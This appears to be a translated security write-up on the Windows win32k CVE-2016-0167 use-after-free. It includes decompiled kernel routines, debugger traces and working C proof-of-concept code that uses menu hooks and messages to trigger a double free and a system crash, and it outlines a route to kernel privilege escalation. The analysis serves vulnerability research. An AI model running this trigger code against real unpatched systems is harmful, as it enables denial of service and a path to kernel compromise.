This article will conduct a simple analysis of the Windows use-after-free (UAF) kernel vulnerability CVE-2016-0167 and construct its exploitation verification code. This vulnerability was reported to be used to attack the data of targets such as payment cards in 2016, and was fixed by Microsoft in the same patch as the previously analyzed CVE-2016-0165. Analysis and testing of this vulnerability were conducted in a virtual machine in a Windows 7 x86 SP1 base environment.
Article link: xiaodaozhi.com/exploit/135…
This vulnerability is tagPOPUPMENU
a reuse after release vulnerability of pop-up menu objects. Although it is an "old vulnerability" two years ago, due to the special trigger conditions, synchronous and asynchronous message requests need to cooperate to finally achieve the target pop-up menu object that meets the vulnerability exploitation conditions. , so currently this vulnerability still has certain research value for learning and researching win32k kernel vulnerability exploitation.
0x0 Preface
This article analyzes the CVE-2016-0167 use-after-free (UAF) vulnerability that occurs in the menu management component of the window manager (User) subsystem. During the kernel function xxxMNDestroyHandler
call to xxxSendMessage
send a message to the notification window object associated with the target pop-up menu object WM_UNINITMENUPOPUP
, the execution flow has the possibility of a user callback; after the function call that sends the message returns, the function xxxMNDestroyHandler
does not re-verify the validity of the target pop-up menu object memory. Continue to access it.
If the user process triggers the menu cancellation operation at a special time, causing the member flag bit of the pop-up menu object that is the target of utilization to be unset, fDelayedFree
and calls a function at a specific time to destroy the menu window object associated with the pop-up menu object, the execution flow is in the kernel The message xxxMNDestroyHandler
is sent when executing the function WM_UNINITMENUPOPUP
and is called back to the user process. The user process performs the destruction operation on the same menu window object again. In the kernel, the execution flow repeatedly enters the function for the same target pop-up menu object and is destroyed during the second call xxxMNDestroyHandler
. The target pop-up menu object; when the execution flow returns to the function called for the first time, the target pop-up menu object has been destroyed, but the function will directly access the member fields of the target pop-up menu object without the necessary verification. Performing repeated release operations will lead to UAF vulnerabilities.
After triggering the destruction of the target menu window object, the exploit code in the user process uses clever memory layout to make the system reallocate a memory area of the same size to occupy the memory block of the previously released pop-up menu object, forge a new pop-up menu object and construct Related member fields. With the help of code logic, the member flag bits of a specific window object are bServerSideWindowProc
modified, so that the system can directly execute the custom window message processing function located in the user process address space in the kernel, and execute the exploit code constructed by the user process through the kernel context. To achieve the purpose of kernel privilege escalation.
0x1 principle
win32k.sys
The vulnerability occurs in the function of the kernel module xxxMNDestroyHandler
, which is used to perform the task of destroying its associated pop-up menu tagPOPUPMENU
object during the destruction of the specified menu window object. The pointer of the target pop-up menu object popupMenu
is passed in through the parameter.
The popup menu tagPOPUPMENU
structure is defined as follows:
kd> dt win32k!tagPOPUPMENU +0x000 flags: Int4B +0x004 spwndNotify: Ptr32 tagWND +0x008 spwndPopupMenu : Ptr32 tagWND +0x00c spwndNextPopup : Ptr32 tagWND +0x010 spwndPrevPopup : Ptr32 tagWND +0x014 spmenu : Ptr32 tagMENU +0x018 spmenuAlternate: Ptr32 tagMENU +0x01c spwndActivePopup : Ptr32 tagWND +0x020 ppopupmenuRoot : Ptr32 tagPOPUPMENU +0x024 ppmDelayedFree : Ptr32 tagPOPUPMENU +0x028 posSelectedItem: Uint4B +0x02c posDropped : Uint4B
Definition of pop-up menu tagMENUSTATE structure
In the function, there is a calling statement that spwndNotify
sends a message to the notification window object pointed to by the member field of the target pop-up menu object:WM_UNINITMENUPOPUP
if ( *(_DWORD *)popupMenu & 0x200000 )// fSendUninit
{spwndNotify = popupMenu->spwndNotify;if ( spwndNotify ){ptl = gptiCurrent->ptl;gptiCurrent->ptl = (_TL *)&ptl;pwndTarg = spwndNotify;++spwndNotify->head.cLockObj;pmenu = popupMenu->spmenu;if ( pmenu )hmenu = p->head.h;xxxSendMessage(popupMenu->spwndNotify,0x125,// WM_UNINITMENUPOPUP(WPARAM)hmenu,(LPARAM)(((*(_DWORD *)popupMenu >> 2) & 1) << 13) << 16);ThreadUnlock1();}
}
Function xxxMNDestroyHandler has a call to send messages
Among them, the member flag bit used as the basis for judgment fSendUninit
is set by default as early as during the initialization of the target pop-up menu object; and the member field of the notification window object spwndNotify
will also be assigned the address of the window object as the menu owner during the initialization period. This will result in xxxMNDestroyHandler
the possibility of callbacks to the user process context in the function's execution flow.
fDelayedFree
Next, the function determines whether to immediately call and perform MNFreePopup
a specific release operation for the target pop-up menu object by judging the member flag bit of the target pop-up menu object. Function MNFreePopup
calls HMAssignmentUnlock
and other functions release spwndPopupMenu
the assignment locks of each object member field. After performing the corresponding preprocessing, the function call ExFreePoolWithTag
releases the incoming popup menu tagPOPUPMENU
object buffer.
Since the execution flow may call back to the user process during the previous function xxxMNDestroyHandler
sending WM_UNINITMENUPOPUP
the message, the attacker can trigger logic in the user process to cause the memory tagPOPUPMENU
of the target pop-up menu object to be released or reallocated, which will cause the target parameter popupMenu
to point to the memory area. Uncontrollable data. If the attack code deliberately constructs the data in the memory block that is reallocated at the original location, then when an object member field that holds a special object address is unlocked, the execution flow of the kernel context may directly enter the user process address space. in the exploit code function.
0x2 Tracking
Function is a function used to perform the task of xxxMNDestroyHandler
destroying its associated pop-up menu object during the destruction of the specified menu window object . It is only called when the message processing function specified by the menu window object processes the message.tagPOPUPMENU
xxxMenuWindowProc
WM_FINALDESTROY
xxxMNDestroyHandler
This function receives the tagPOPUPMENU *popupMenu
pop-up menu object passed in as the target object. At the beginning of the function, it is judged spwndNextPopup
whether the target pop-up menu member field points to the real submenu window object. If so, it means that the current menu has a pop-up submenu. Therefore, the function sends to the current menu window object pointed to by the member field spwndPopupMenu
(or to the submenu window object if it is empty) MN_CLOSEHIERARCHY
to close the submenu of the current menu. The message is finally xxxMenuWindowProc
received in the function and called on the pop-up menu object associated with the target window object to xxxMNCloseHierarchy
handle the task of closing the submenu.
if ( popupMenu->spwndNextPopup )
{pwnd = popupMenu->spwndPopupMenu;if ( !pwnd )pwnd = popupMenu->spwndNextPopup;ptl = gptiCurrent->ptl;gptiCurrent->ptl = (_TL *)&ptl;++pwnd->head.cLockObj;xxxSendMessage(pwnd, 0x1E4, 0, 0); // xxxMNCloseHierarchyThreadUnlock1();
}
Code snippet of function xxxMNDestroyHandler
Then the function determines whether the member flag of the target pop-up menu object fSendUninit
is set. This flag determines whether the system should send a message to the window object that received the notification after the pop-up menu object is destroyed WM_UNINITMENUPOPUP
. During the initialization of the root pop-up menu object or pop-up menu object, the system usually sets this flag in the function xxxTrackPopupMenuEx
or .xxxMNOpenHierarchy
If the member flag fSendUninit
is set, the function sends a ( ) message to spwndNotify
the window object pointed to by the member field for receiving notifications , so that the owner window can clear the data related to the pop-up menu that will be destroyed at the first time.WM_UNINITMENUPOPUP
0x125
if ( *(_DWORD *)popupMenu & 0x200000 )// fSendUninit
{spwndNotify = popupMenu->spwndNotify;if ( spwndNotify ){ptl = gptiCurrent->ptl;gptiCurrent->ptl = (_TL *)&ptl;pwndTarg = spwndNotify;++spwndNotify->head.cLockObj;pmenu = popupMenu->spmenu;if ( pmenu )hmenu = (tagMENU *)p->head.h;xxxSendMessage(popupMenu->spwndNotify,0x125,// WM_UNINITMENUPOPUP(WPARAM)hmenu,(LPARAM)(((*(_DWORD *)popupMenu >> 2) & 1) << 13) << 16);ThreadUnlock1();}
}
Code snippet of function xxxMNDestroyHandler
When calling xxxSendMessage
Send WM_UNINITMENUPOPUP
message, the function also passes the handle of the menu entity object associated with the target pop-up menu tagMENU
object as wParam
a parameter to the function call.
At the end of the function , the function will empty the pointer pointing to the associated pop-up menu object in the extended area at the end of the xxxMNDestroyHandler
target menu window object ; then it determines whether the member flag of the target pop-up menu object is set, and accordingly decides whether to complete the Whether to delay the release of the target pop-up menu object when the menu terminates, or to release the target pop-up menu object immediately at the current moment.tagWND
fDelayedFree
pwnd = popupMenu->spwndPopupMenu;
*(_DWORD *)popupMenu |= 0x8000u;// fDestroyed
if ( pwnd )*(_DWORD *)(pwnd + 0xB0) = 0; // Pointer to popupMenu
if ( *((_BYTE *)popupMenu + 2) & 1 )// fDelayedFree
{popupmenuRoot = popupMenu->ppopupmenuRoot;if ( popupmenuRoot )*(_DWORD *)popupmenuRoot |= 0x20000u; // ppopupmenuRoot->fFlushDelayedFree
}
else
{MNFreePopup(popupMenu);
}
Code snippet of function xxxMNDestroyHandler
When a context pop-up menu object is created in the kernel through regular means, the member flags of the root pop-up menu object or the pop-up menu object will be set fDelayedFree
by default in the function xxxTrackPopupMenuEx
or .xxxMNOpenHierarchy
MNFreePopup
The function MNFreePopup
initially determines whether the target pop-up menu object passed in through the parameter is the current root pop-up menu object. If so, the function is called to MNFlushDestroyedPopups
traverse and release the pop-up menu object pointed to by its member field ppmDelayedFree
to delay the release of each pop-up menu object in the linked list.
Then the function calls HMAssignmentUnlock
or UnlockPopupMenu
function (internally it is still a function HMAssignmentUnlock
call) to release spwndPopupMenu
the assignment lock of each window object and menu object pointer member field of the target pop-up menu object.
if ( popupMenu == popupMenu->ppopupmenuRoot )MNFlushDestroyedPopups(popupMenu, 1);
pwnd = popupMenu->spwndPopupMenu;
if ( pwnd && (pwnd->fnid & 0x3FFF) == 0x29C && popupMenu != &gpopupMenu )*((_DWORD *)pwnd + 0x2C) = 0;
HMAssignmentUnlock(&popupMenu->spwndPopupMenu);
HMAssignmentUnlock(&popupMenu->spwndNextPopup);
HMAssignmentUnlock(&popupMenu->spwndPrevPopup);
UnlockPopupMenu(popupMenu, &popupMenu->spmenu);
UnlockPopupMenu(popupMenu, &popupMenu->spmenuAlternate);
HMAssignmentUnlock(&popupMenu->spwndNotify);
HMAssignmentUnlock(&popupMenu->spwndActivePopup);
if ( popupMenu == &gpopupMenu )gdwPUDFlags &= 0xFF7FFFFF;
elseExFreePoolWithTag(popupMenu, 0);
Code snippet of function MNFreePopup
Function HMAssignmentUnlock
is used to dereference a previously implemented assignment lock on the specified object and decrement the target object's lock count. When the lock count of the target object decreases to 0
, the system will call the function HMUnlockObjectInternal
to destroy the object.
The function finds the object's handle table entry in the session handle table pointed to by the global shared information structure object's member field through the handle of the target object, and then HMUnlockObjectInternal
calls gSharedInfo
the index in the global handle type through the handle type stored in the handle table entry in the function. Object destruction function in information array . If the target object type currently being destroyed is a window object, this will be called into the kernel function .aheList
HMDestroyUnlockedObject
gahti
xxxDestroyWindow
At MNFreePopup
the end of the function, since the unlocking and release of each member field has been completed, the system calls the function ExFreePoolWithTag
to release the target pop-up menu tagPOPUPMENU
object.
MNFlushDestroyedPopups
The function MNFlushDestroyedPopups
traverses each pop-up menu object in the linked list and fDestroyed
calls the function for each object marked with the flag bit MNFreePopup
. The flag is fDestroyed
initially xxxMNDestroyHandler
set when the function is called.
for ( i = &popupMenu->ppmDelayedFree; *i; i = &ppmDestroyed->ppmDelayedFree )
{ppmFree = *i;if ( *(_DWORD *)*i & 0x8000 ){ppmFree = *i;*i = ppmFree->ppmDelayedFree;MNFreePopup(ppmFree);}else if ( fUnlock ){*(_DWORD *)ppmFree &= 0xFFFEFFFF;*i = (*i)->ppmDelayedFree;}else{ppmDestroyed = *i;}
}
Code snippet of function MNFlushDestroyedPopups
fDestroyed
If there is a pop-up menu object in the chain with the flag bit not set , the function fUnlock
determines to set the flag fDelayedFree
bit of the target pop-up menu object to zero based on the value passed in as the parameter, and skips the node to continue traversing the linked list.
MNFreePopup
When called in the function MNFlushDestroyedPopups
, the value is passed into the function call 1
as a parameter , which determines that the flag bit of the pop-up menu object whose flag bit is not set in the delayed release linked list will be set to zero.fUnlock
fDestroyed
fDelayedFree
xxxMNDestroyHandler
The brief execution flow during function execution is shown in the figure:
MN_CANCELMENUS
When sending a message to the target menu window object , the system finally calls the function MN_CANCELMENUS
in the message processing function specified by the menu window object to handle the message request to cancel the menu.xxxMenuWindowProc
xxxMNCancel
case 0x1E6u:xxxMNCancel(menuState, wParam, lprc, 0);return 0;
Function xxxMenuWindowProc handles MN_CANCELMENUS message
Functions xxxMNCancel
can only be called with the root menu window object as the target. At the beginning of the function, the member flags fInsideMenuLoop
and of the menu state structure fButtonDown
are set to zero, and the member flag of the root pop-up menu object fDestroyed
is set.
mov edi, [ebp+pMenuState]
mov esi, [edi]
mov eax, [esi]
and dword ptr [edi+4], 0FFFFFFF3h
ordword ptr [esi], 8000h
Function xxxMNCancel sets and zeroes related flags
The function then calls xxxMNCloseHierarchy
the function to turn off the menu cascading state of the current menu object, and calls the function xxxMNSelectItem
to deselect the menu item.
xxxMNCloseHierarchy(popupMenu, pMenuState);
xxxMNSelectItem(popupMenu, pMenuState, 0xFFFFFFFF);
Code snippet of function xxxMNCancel
When the execution flow returns to the function , the system chooses to call xxxMNCancel
according to the member flag bit of the current pop-up menu object to try to destroy the current menu window object. This member flag is only set to the associated pop-up menu object when the root menu window object is first created through the function .fIsTrackPopup
xxxDestroyWindow
xxxTrackPopupMenuEx
if ( fTrackFlagsSet ) // popupMenu->fIsTrackPopup
{if ( !(*((_DWORD *)pMenuState + 1) & 0x100)&& gpqForeground&& *((_DWORD *)gpqForeground + 9)&& gpqForeground == gptiCurrent->pq ){xxxWindowEvent(0x80000005, *((_DWORD *)gpqForeground + 9), 0, 1, 0x21);}xxxWindowEvent(7u, popupMenu->spwndPopupMenu, 0xFFFFFFFC, 0, 0);xxxDestroyWindow(popupMenu->spwndPopupMenu);
}
Function xxxMNCancel triggers the task of destroying the root menu window object
During the call to the function on the menu window object xxxDestroyWindow
, and finally when processing WM_FINALDESTROY
the message, the function xxxMenuWindowProc
calls xxxMNDestroyHandler
the function to handle the task of destroying the pop-up object menu.
0x3 Verification
Next write verification code to reproduce the use-after-free (UAF) vulnerability. Let’s first talk about the idea of verifying the code:
#1 Make the execution flow re-enter the function where the vulnerability is located
The direct step to trigger this vulnerability is WM_UNINITMENUPOPUP
to make the execution flow repeatedly call the function for the same target popup menu object during message sending xxxMNDestroyHandler
. In this way, the target pop-up menu object will xxxMNDestroyHandler
be released when the function is called for the second time; when the execution flow returns to the xxxMNDestroyHandler
context of the first call of the function, the target pop-up menu object has been released, and the function does not re-validate the pop-up menu object. Continue to access its member fields despite the memory validity, which will cause UAF to be triggered.
To make the execution flow re-enter the function, this can be achieved by calling the function on the target menu window object in the message processing logic xxxMNDestroyHandler
of the hook handler customized in the verification code .WM_UNINITMENUPOPUP
DestroyWindow
#2 Pop-up menu objects that meet trigger conditions
According to the previous analysis, it can be seen that triggering the vulnerability requires the execution flow to call the function again for the same pop-up xxxMNDestroyHandler
menu object during the function sending a message to the notification window object associated with the target pop-up menu object and releasing the target pop-up menu object during the second execution of the function.WM_UNINITMENUPOPUP
xxxMNDestroyHandler
This places requirements on the target popup menu object:
First, there is a conditional judgment before the function xxxMNDestroyHandler
sends WM_UNINITMENUPOPUP
the message. The target pop-up menu object must have its member flag set fSendUninit
and there must be an associated notification window object. This requires that the menu window object associated with the target pop-up menu object must be created through the regular menu pop-up channel, and cannot be a type of window object CreateWindowEx
manually created by calling functions such as verification code.MENUCLASS
Second, the member flag bit of the target pop-up menu object fDelayedFree
must not be set, otherwise the target pop-up menu object will not xxxMNDestroyHandler
be released immediately during the second call of the function.
#3 Member flag fDelayedFree is de-set
According to the kernel module code logic, the pop-up menu object of the context menu created through the regular menu pop-up channel will inevitably set the member flag fDelayedFree
bit during initialization. Setting the flag bit is a statement that is executed unconditionally in functions xxxTrackPopupMenuEx
and .xxxMNOpenHierarchy
By analyzing the win32k module, it can be found that there are at least two statements that fDelayedFree
set zero: one is to set zero in the function xxxMNEndMenuState
according to the parameter fFreePopup
condition: ; The other point is that in the function, the flag position of the pop-up menu object whose member flag bit is not set in the linked list is set to zero according to the parameter condition .FALSE
fDelayedFree
MNFlushDestroyedPopups
fUnlock
TRUE
fDestroyed
fDelayedFree
For the first case, looking at the overall situation, it is found that xxxMNEndMenuState
the call to the function only xxxDestroyThreadInfo
has the possibility that the value of the parameter passed in the function fFreePopup
is not FALSE
, which is difficult to operate, so it is not considered.
In the second case, a call to function existing MNFreePopup
in function passes MNFlushDestroyedPopups
parameter fUnlock
as TRUE
. Therefore, you can try to take advantage of this situation. The member flag bit of the target pop-up menu object used to exploit before the call fDestroyed
remains unset, and fDestroyed
the target pop-up menu object with the unset flag still needs to exist in the ppmDelayedFree
delayed release through the index. in the linked list.
#4 member flag fDestroyed is de-set
Then it is necessary to delay the release of pop-up menu objects whose member flags are not set in the linked list when the function MNFreePopup
is called at the appropriate time .MNFlushDestroyedPopups
fDestroyed
The implementation idea is: while a submenu xxxMNOpenHierarchy
is popping up by calling a function, when its own related objects have not yet been associated with the parent menu, the user process initiates a menu termination or cancellation operation, causing the menu to enter the pre-termination state and causing the current The member flag bits of all pop-up menu objects that exist in the delayed release linked list fDestroyed
are set during the pop-up menu destruction process, and the pop-up menu that has not yet completed initialization has not yet completed its association with the parent menu, so its pop-up menu object The member flag fDestroyed
will not be set.
When the newly popped-up submenu completes initialization, the entire menu then enters xxxMNEndMenuState
the menu termination process in the function. During the execution of this function, the pop-up menu object that is the target of exploitation will not fDestroyed
be destroyed because its member flag bit is not set, and the member flag bit will fDelayedFree
be set to zero, so that the status of each member field can satisfy the vulnerability trigger. condition.
This needs to be implemented through the cooperation of pop-up termination of the modal context menu and synchronous and asynchronous message requests.
Verify code implementation
Next, the specific verification code is implemented based on the idea. Most of the code logic of the verification code in the user process is executed in a newly created separate thread.
In the main function of the verification code, CreateMenu
create two pop-up menu objects through the wait function, and associate the two menu objects with each other when adding menu items, making the second one a submenu of the first one. When the properties of the menu object are not changed through functions SetMenuInfo
, the menu object defaults to the modal type.
hMenuList[0] = CreateMenu();
hMenuList[1] = CreateMenu();
AppendMenuA(hMenuList[0], MF_MOUSESELECT | MF_POPUP, (UINT_PTR)hMenuList[1], "item");
AppendMenuA(hMenuList[1], MF_MOUSESELECT | MF_POPUP, (UINT_PTR)0, "item");
Validation code that creates and associates root menu and submenu objects
The display of the menu requires a hosting window as the owner window object of the menu. Register and create normal window classes and window objects and store handles in hWindowMain
global variables:
WNDCLASSEXW wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc= xxMainWindowProc; // custom message procedure
wndClass.cbWndExtra = 0;
wndClass.hInstance= GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName= L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,L"WNDCLASSMAIN",NULL,WS_VISIBLE,0,0,1,1,NULL,NULL,GetModuleHandleA(NULL),NULL);
Validation code to create owner window object
Assign xxMainWindowProc
the address of the message processing function customized by the verification code to the message processing function member field of the created owner window object. The owner window object will also serve as the notification window object associated with the pop-up menu.
Set WH_CALLWNDPROC
a custom hook handler of type and set EVENT_SYSTEM_MENUPOPUPSTART
a custom event notification handler with scope including .
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,GetModuleHandleA(NULL),GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,GetModuleHandleA(NULL),xxWindowEventProc,GetCurrentProcessId(),GetCurrentThreadId(),0);
Set up validation code for custom hook handlers and event notification handlers
TrackPopupMenuEx
Next , trigger the display of the first menu object as the root menu on the screen by calling the function; then use GetMessage
to make the current thread enter the message loop state.
TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{TranslateMessage(&msg);DispatchMessageW(&msg);
}
Validation code that triggers the display of the root menu object on the screen
When the user process calls the function TrackPopupMenuEx
, the system finally calls xxxTrackPopupMenuEx
the function in the kernel to handle the pop-up menu operation. When the display task execution is completed, the function is called to xxxWindowEvent
dispatch EVENT_SYSTEM_MENUPOPUPSTART
an event notification of type, which indicates that the target menu object has been displayed on the screen.
After the event notification is distributed, the execution flow will enter the event notification handler customized by the verification code xxWindowEventProc
. Count in the handler and store the window handle on each entry hwnd
parameter. Then, the operation of selecting a menu item through the keyboard SendMessage
and mouse is simulated by calling the function and sending a message to the menu window object pointed to by the handle parameter.PostMessage
hwnd
VOID CALLBACK
xxWindowEventProc(HWINEVENTHOOK hWinEventHook,DWORD event,HWNDhwnd,LONGidObject,LONGidChild,DWORD idEventThread,DWORD dwmsEventTime
) {static UINT iCount = 0;if (iCount < ARRAYSIZE(hwndMenuList)){hwndMenuList[iCount] = hwnd;iCount++;}SendMessageW(hwnd, MN_SELECTITEM, 0, 0);SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
}
Verify code custom event notification handler function
Sending asynchronously to the modal menu window object MN_OPENHIERARCHY
will cause the message to be inserted into the thread's message queue, and the message request to open the menu will be processed in the function message loop that xxTrackPopupMenuEx
is called later .xxxMNLoop
# ChildEBP RetAddr
00 99723a78 947dee9d win32k!xxxMNOpenHierarchy
01 99723ac4 9474ae67 win32k!xxxMenuWindowProc+0xb1f
02 99723af4 947d8c36 win32k!xxxDispatchMessage+0x1f7
03 99723b38 947df8f1 win32k!xxxMNLoop+0x2dd
04 99723ba0 947df9dc win32k!xxxTrackPopupMenuEx+0x5cd
05 99723c14 83e591ea win32k!NtUserTrackPopupMenuEx+0xc3
Function xxxMNLoop handles the message request to open the menu
When the message is processed in the kernel MN_OPENHIERARCHY
, the system creates a new menu window object based on the submenu object. During this period, the system will send other messages to the newly created submenu window object WM_NCCREATE
. When these messages are sent, the execution flow enters a hook handler customized by the validation code in the user process xxWindowHookProc
.
In the custom hook handler function xxWindowHookProc
, the parameter lParam
points to tagCWPSTRUCT
an object of type. According to the kernel function code logic, for each menu window object, the WM_NCCREATE
hook processing function of is often EVENT_SYSTEM_MENUPOPUPSTART
called before the event notification processing function of . The verification code determines the value of tagCWPSTRUCT
the object's member field message
. When message
the value is WM_NCCREATE
an enumeration value, and the previous event notification handler has only recorded the handle of the root menu window object and has not yet recorded the handle of the submenu window object, this means that the current processing The target window object of the message is the newly created submenu window object. At this time, the window handle is recorded, and the menu cancellation message SendMessage
is sent to the root menu window object by calling the function . MN_CANCELMENUS
After the function SendMessage
returns, the hook handler function is called again to send a customized trigger message PostMessage
to the owner window object .hWindowMain
WM_EX_TRIGGER
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam) {static BOOL bEnterUninit = FALSE;tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;if (cwp->message == WM_UNINITMENUPOPUP &&bEnterUninit == FALSE &&hMenuList[1] == (HMENU)cwp->wParam){bEnterUninit = TRUE;DestroyWindow(hwndMenuDest);}else if (cwp->message == WM_NCCREATE &&hwndMenuDest == NULL &&hwndMenuList[0] && !hwndMenuList[1]){hwndMenuDest = cwp->hwnd;SendMessageW(hwndMenuList[0], MN_CANCELMENUS, 0, 0);PostMessageW(hWindowMain, WM_EX_TRIGGER, 0, 1);}return CallNextHookEx(0, code, wParam, lParam);
}
Verify code custom hook handler function
At the same time, the hook processing function also handles the case where message
the value is WM_UNINITMENUPOPUP
and the parameter wParam
value is the submenu entity object handle value. tagMENU
When the condition is hit, it means that the current execution flow in the kernel is sending messages xxxMNDestroyHandler
to the notification window object for the submenu in the function. WM_UNINITMENUPOPUP
Undoubtedly, the verification code calls DestroyWindow
the function at this time to destroy the window object whose handle was previously recorded.
When the calling function SendMessage
synchronously sends MN_CANCELMENUS
a message to the root menu window object, the system finally xxxMenuWindowProc
calls xxxMNCancel
the function in the kernel mode message processing function to handle the message request to cancel the menu. During the execution of this function, the member flag of the root pop-up menu object fDestroyed
will be set.
# ChildEBP RetAddr
00 94d83b00 94a5ef10 win32k!xxxMNCancel
01 94d83b54 949d94f3 win32k!xxxMenuWindowProc+0xb92
02 94d83b94 94999709 win32k!xxxSendMessageTimeout+0x1ac
03 94d83bbc 949a6330 win32k!xxxWrapSendMessage+0x1c
04 94d83bd8 949db4cd win32k!NtUserfnNCDESTROY+0x27
05 94d83c10 83e521ea win32k!NtUserMessageCall+0xc9
06 94d83c10 76f270b4 nt!KiFastCallEntry+0x12a
07 3473fc8c 762b4f51 ntdll!KiFastSystemCallRet
08 3473fc90 762b0940 USER32!NtUserMessageCall+0xc
09 3473fccc 762b5582 USER32!SendMessageWorker+0x546
0a 3473fcec 0027c43a USER32!SendMessageW+0x7c
0b 3473fd54 762a7a1a TempDemo!xxWindowHookProc+0x19a
0c 3473fd70 762a4999 USER32!DispatchHookW+0x33
0d 3473fda4 762ae98a USER32!fnHkINLPCWPSTRUCTW+0x52
0e 3473fdd4 76f26fee USER32!__fnINLPCREATESTRUCT+0x8b
0f 3473fe48 762d483e ntdll!KiUserCallbackDispatcher+0x2e
10 3473fe4c 0027c0fe USER32!NtUserTrackPopupMenuEx+0xc
11 3473fed4 76d13c45 TempDemo!xxTrackExploitEx+0x14e
Send the MN_CANCELMENUS message and finally call the xxxMNCancel function
Because when the function that sends MN_CANCELMENUS
the message is called in the verification code SendMessageW
, the execution flow in the kernel is during the processing of the dispatch hook handler for the submenu window object WM_NCCREATE
message. The distribution call occurs before WM_NCCREATE
the message is processed, so the popup associated with the submenu window object The menu tagPOPUPMENU
object has not yet been created, and the newly created submenu window object has not yet been associated with the popup menu object of the root menu, which means that the member field of the root popup menu object does not store the spwndNextPopup
address of the submenu window object. Therefore, when the function xxxMNCancel
calls the function in the subsequent execution logic xxxMNCloseHierarchy
, no objects related to the submenu will be destroyed, and the member flag of the pop-up menu object fDestroyed
will not be set.
During execution, the function xxxMNCancel
will call xxxDestroyWindow
to try to destroy the root menu window object, and finally xxxMenuWindowProc
call xxxMNDestroyHandler
the function in the function to handle the task of destroying the pop-up menu object. Since the member flag of the root pop-up menu object fDelayedFree
has already been set, the function does not immediately call MNFreePopup
the function to release the target pop-up menu object, but leaves it to subsequent xxxMNEndMenuState
function calls for execution.
When the function call that sends MN_CANCELMENUS
the message SendMessage
returns, the custom hook handles the function call to PostMessage
send the custom WM_EX_TRIGGER
trigger message to the owner window object. Messages sent asynchronously will not be processed immediately, but will be executed in the message loop of the thread associated with the window object.
Next, in the kernel, when the execution flow xxxCreateWIndowEx
returns from the function that created the submenu window object to xxxMNOpenHierarchy
the function, the function will perform the associated operations of the submenu and root menu related objects as usual. When the execution completion function returns, the execution flow will return xxxMNLoop
to the message loop function. The function will determine whether the member flag of the root pop-up menu object fDestroyed
has been set. If set, the message loop state is jumped out and xxxEndMenuLoop
the function that terminates the loop is called before returning to the upper caller function xxxTrackPopupMenuEx
.
Function xxxTrackPopupMenuEx
will be called immediately xxxMNEndMenuState
to perform the task of menu state termination. During the execution of this function, the function MNFreePopup
will call MNFlushDestroyedPopups
the function to release each pop-up menu object in the delayed release list, with fDestroyed
the exception of objects whose member flags are not set. Since xxxMNCancel
the submenu-related object has not yet been associated with the root menu during the function's execution of the menu cancellation task, its pop-up menu object member flag fDestroyed
has not been set. This will result in that any objects related to the submenu will not be released at this time, and the member flags of its pop-up menu objects fDelayedFree
will be MNFlushDestroyedPopups
set to zero by the function. This is a very critical step.
When the function call in the user process context TrackPopupMenuEx
returns to the verification code, the target popup menu object that meets the vulnerability triggering conditions has been implemented. Next the execution flow will enter the message loop set by the verification code. The custom trigger message previously xxWindowHookProc
sent to the owner window object in the custom hook handler function is dispatched . Receive and process the message in WM_EX_TRIGGER
the custom message handling function of the owner window object :xxMainWindowProc
LRESULT WINAPI
xxMainWindowProc(_In_ HWND hwnd,_In_ UINT msg,_In_ WPARAM wParam,_In_ LPARAM lParam
) {if (msg == WM_EX_TRIGGER){DestroyWindow(hwndMenuDest);}return DefWindowProcW(hwnd, msg, wParam, lParam);
}
Custom message handling function for the owner window object
In the custom message processing function xxMainWindowProc
, determine whether the currently processed message is WM_EX_TRIGGER
a custom trigger message; if so, call the function directly DestroyWindow
to trigger the destruction of the submenu window object of the previous record handle. This will cause execution flow in the kernel to xxxMNDestroyHandler
a function call that destroys the target popup menu object.
In the function xxxMNDestroyHandler
, the system sends the notification window object associated with the target pop-up menu object WM_UNINITMENUPOPUP
and passes in the associated menu window object wParam
handle as a parameter. xxWindowHookProc
This will hit the judgment condition set earlier in the custom hook handler WM_UNINITMENUPOPUP
.
Since the verification code in the code logic of function xxWindowHookProc
processing WM_UNINITMENUPOPUP
message directly calls the function DestroyWindow
to destroy the submenu window object with the handle mentioned earlier, this will cause the execution flow to repeatedly enter the function call for the same popup menu object xxxMNDestroyHandler
. During the second xxxMNDestroyHandler
execution of the function, although the message will still be sent as in the first execution , the function will not be called more times in WM_UNINITMENUPOPUP
the function because the relevant global variables have been set in the verification code to prevent multiple processing .xxWindowHookProc
DestroyWindow
Then the function called for the second time calls a function on the target pop-up menu xxxMNDestroyHandler
object according to the unset member flag to perform the destruction operation. In this function, various kernel objects associated with the target pop-up menu object will be destroyed, and the memory of the pop-up menu object will be released.fDelayedFree
MNFreePopup
When execution flows back to the first called xxxMNDestroyHandler
function, the function performs the same release operation. This will cause repeated freeing of freed memory blocks, leading to the occurrence of system BSOD.
# ChildEBP RetAddr
00 96589654 83f25083 nt!RtlpBreakWithStatusInstruction
01 965896a4 83f25b81 nt!KiBugCheckDebugBreak+0x1c
02 96589a68 83f67c6b nt!KeBugCheck2+0x68b
03 96589ae4 94e15e08 nt!ExFreePoolWithTag+0x1b1
04 96589af8 94e15f85 win32k!MNFreePopup+0x95
05 96589b14 94e0e894 win32k!xxxMNDestroyHandler+0x117
06 96589b5c 94e15fc9 win32k!xxxMenuWindowProc+0x515
07 96589b74 94d5d9cd win32k!xxxWrapMenuWindowProc+0x2b
08 96589bc8 94d56142 win32k!xxxFreeWindow+0x184
09 96589c18 94d5e62c win32k!xxxDestroyWindow+0x523
0a 96589c28 83e841ea win32k!NtUserDestroyWindow+0x21
0b 96589c28 773970b4 nt!KiFastCallEntry+0x12a
0c 0088fb9c 75abb300 ntdll!KiFastSystemCallRet
0d 0088fba0 0109bf0f USER32!NtUserDestroyWindow+0xc
